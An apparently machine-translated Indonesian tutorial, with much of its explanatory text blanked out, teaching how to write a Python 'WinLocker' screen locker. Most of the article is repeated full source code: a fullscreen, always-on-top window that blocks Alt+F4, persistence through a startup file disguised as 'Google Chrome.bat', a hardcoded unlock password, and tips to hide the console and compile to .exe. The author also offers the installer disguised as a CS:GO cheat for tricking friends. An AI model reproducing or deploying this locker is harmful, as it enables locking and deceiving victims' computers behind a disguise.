Menulis WinLocker dengan Python

Perhatian!

Artikel ini dibuat untuk tujuan pendidikan ! Penulis tidak bertanggung jawab atas tindakan ilegal Anda dan kerusakan yang terjadi pada komputer Anda. Ingat, ini bukan mainan, ini WINLOCKER ! Penulis sangat tidak menganjurkan menjalankan program yang dijelaskan dalam artikel ini tanpa membaca kode secara detail .






pengantar

Dan halo semuanya, kawan, saya bersamamu, Penafian Pemain Game. Menurut Anda, apa yang telah saya lakukan 2 hari berturut-turut? Tidak, saya tidak bermain Dota (dan saya tidak menyarankan Anda, karena Anda menyebut diri Anda programmer). Saya sedang mempersiapkan materi untuk Habr. Atau lebih tepatnya, dia menciptakan vinlocker. Dan tidak, saya tidak mengkomunikasikannya , saya mencurinya dari seseorang, tetapi saya sendiri yang membuatnya dari awal. Dan hari ini saya akan mengajari Anda cara membuatnya. Dan ya, jika Anda belum membaca disclaimer, maka jangan pernah menggunakan kode ini untuk merugikan orang lain! Nah, tanpa basa-basi lagi, ayo pergi!





Apa yang kita butuhkan?

Untuk membuat winlocker, kita membutuhkan:





  1. Python itu sendiri, yang dapat Anda instal di situs resminya





  2. Seorang editor teks, dalam kasus saya itu adalah S ***** e Teks, penyensoran sehingga moderasi tidak menganggapnya sebagai PR (sebenarnya, Anda dapat menulisnya bahkan di notepad sederhana)





  3. Akses internet untuk menginstal modul yang diperlukan di PyPI





  4. Komputer Windows





  5. Setidaknya beberapa pengetahuan dasar tentang Python





  6. Lengan lurus





  7. Teh dengan susu, atau setidaknya kopi





Mari kita mulai menulis

Nah, karena kami telah memastikan bahwa kami memiliki semua yang kami butuhkan, sekarang kami dapat mulai menulis kode.





Buat file main.py di direktori manapun





Setelah itu, buka di editor mana saja.





Dan kami mulai menulis kode ajaib kami ...





Memasang dan mengimpor modul

Oh ya ... aku hampir lupa. Kita masih perlu membuka baris perintah (masukkan Win + R, dan tulis cmd





dan kita sampai ke baris perintah ...





kami perkenalkan di sana pip install getpass3







Dan kami memiliki instalasi





pip install pyautogui



pip install playsound







, :





#   ,   
from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep
      
      



,





USER_NAME = getpass.getuser()
      
      



USER_NAME



, User.





,





window = Tk() #   window  ,      Tk()
window.title("WinLocker by GDisclaimer") #    WinLocker by GDisclaimer
window.geometry('400x250') #     ,    ,     400  250 
window['bg'] = 'black' #     

window.mainloop() #    ,        
      
      



, , :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

window.mainloop()
      
      



,

. , , . :





cd "C:\Your\Path\To\The\Main\Py\File"
      
      



C:/myFiles.





cd "C:\myFiles"
      
      



:





python main.py
      
      



.





! ....





.





, . . 1920x1080 . 1366x768. -





, .





, , .





. window.mainloop()







# Base size
normal_width = 1920 #    
normal_height = 1080 #    

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))
      
      



- :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

window.mainloop()
      
      



. ,





- , - . .





#  ,    
def play(test):
        playsound('sound.mp3', False)
#     
def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)
#         Alt + F4
def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()
#   ,      ,      
def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)
#      
def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()
      
      



, . - . ! . - .





, play(test)



. ! sound.mp3. .





.





: http://www.mediafire.com/file/ouuwbnw48l415xd/sound.mp3/file





. sound.mp3,





. ! ?





...





(-, ):





add_to_startup("C:\\myFiles\\main.py") #     
fullscreen() #  ,        ,      

#  
txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text=',  :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='    . ,       !', font=("Arial Bold", fontsize), fg='white', bg='black')

#   .grid,     
txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

#     
txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)

#       ,       clicked()
txt = Entry(window)  
btn = Button(window, text=" ", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

#    
play('sound.mp3')
      
      



! ALT + F4





, : petya







. :





, :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

def play(test):
        playsound('sound.mp3', False)

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()

add_to_startup("C:\\myFiles\\main.py")
fullscreen()

txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text=',  :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='    . ,       !', font=("Arial Bold", fontsize), fg='white', bg='black')

txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)


txt = Entry(window)  
btn = Button(window, text=" ", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

play('sound.mp3')

window.mainloop()
      
      



Alt + F4

, .





. window.mainloop()



block()







.





: petya







. , . . main.py w, main.pyw





! , :





from playsound import *
import tkinter
from tkinter import *
import tkinter as tk
from tkinter import ttk
import getpass
import sys
import os
import os.path
import pyautogui
from time import sleep


USER_NAME = getpass.getuser()

window = Tk()
window.title("WinLocker by GDisclaimer")  
window.geometry('400x250')
window['bg'] = 'black'

# Base size
normal_width = 1920
normal_height = 1080

# Get screen size
screen_width = window.winfo_screenwidth()
screen_height = window.winfo_screenheight()

# Get percentage of screen size from Base size
percentage_width = screen_width / (normal_width / 100)
percentage_height = screen_height / (normal_height / 100)

# Make a scaling factor, this is bases on average percentage from
# width and height.
scale_factor = ((percentage_width + percentage_height) / 2) / 100

# Set the fontsize based on scale_factor,
# if the fontsize is less than minimum_size
# it is set to the minimum size

fontsize = int(20 * scale_factor)
minimum_size = 10
if fontsize < minimum_size:
       fontsize = minimum_size

fontsizeHding = int(72 * scale_factor)
minimum_size = 40
if fontsizeHding < minimum_size:
       fontsizeHding = minimum_size

# Create a style and configure for ttk.Button widget
default_style = ttk.Style()
default_style.configure('New.TButton', font=("Helvetica", fontsize))

def play(test):
        playsound('sound.mp3', False)

def add_to_startup(file_path=""):
    if file_path == "":
        file_path = os.path.dirname(os.path.realpath(__file__))
    bat_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' % USER_NAME
    with open(bat_path + '\\' + "Google Chrome.bat", "w+") as bat_file:
        bat_file.write(r'start "" %s' % file_path)

def block():
    pyautogui.moveTo(x=680,y=800)
    window.protocol("WM_DELETE_WINDOW",block)
    window.update()

def fullscreen():
    window.attributes('-fullscreen', True, '-topmost', True)

def clicked():
    res = format(txt.get())
    if res == 'petya':
        file_path = '/tmp/file.txt'
        file_path = r'C:\Users\%s\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\Google Chrome.bat' % USER_NAME
        os.remove(file_path)
        sys.exit()

add_to_startup("C:\\myFiles\\main.py")
fullscreen()

txt_one = Label(window, text='WinLocker by GamerDisclaimer', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_two = Label(window, text=',  :(', font=("Arial Bold", fontsizeHding), fg='red', bg='black')
txt_three = Label(window, text='    . ,       !', font=("Arial Bold", fontsize), fg='white', bg='black')

txt_one.grid(column=0, row=0)
txt_two.grid(column=0, row=0)
txt_three.grid(column=0, row=0)

txt_one.place(relx = .01, rely = .01)
txt_two.place(relx = .01, rely = .11)
txt_three.place(relx = .01, rely = .21)


txt = Entry(window)  
btn = Button(window, text=" ", command=clicked)  
txt.place(relx = .28, rely = .5, relwidth=.3, relheight=.06)
btn.place(relx = .62, rely = .5, relwidth=.1, relheight=.06)

block()

play('sound.mp3')

window.mainloop()
      
      



.EXE

Anda juga dapat mengkompilasi semua kode menjadi ekstensi .exe menggunakan pyinstaller . Saya penulis yang sangat baik, dan saya memutuskan untuk memberi Anda penginstal yang menyamar sebagai cheat untuk CS: GO, Anda dapat menipu teman dengan ini, tetapi berjanji bahwa Anda tidak akan melakukan serangan dengan winlocker ini, dan juga ketika Anda tertawa sedikit, pastikan untuk memberi tahu kata sandi dari winlocker: )






Penginstal Winlocker






Kesimpulan

Sebagai kesimpulan, saya ingin mengatakan kepada para skeptis - Anda dapat membuat virus di mana saja. Bahkan di PHP yang sama ...





Jadi terima kasih semua telah membaca artikel saya, dan terima kasih atas moderasi, seandainya artikel saya masuk feed.





Semoga beruntung semuanya, dan semoga harimu menyenangkan!








All Articles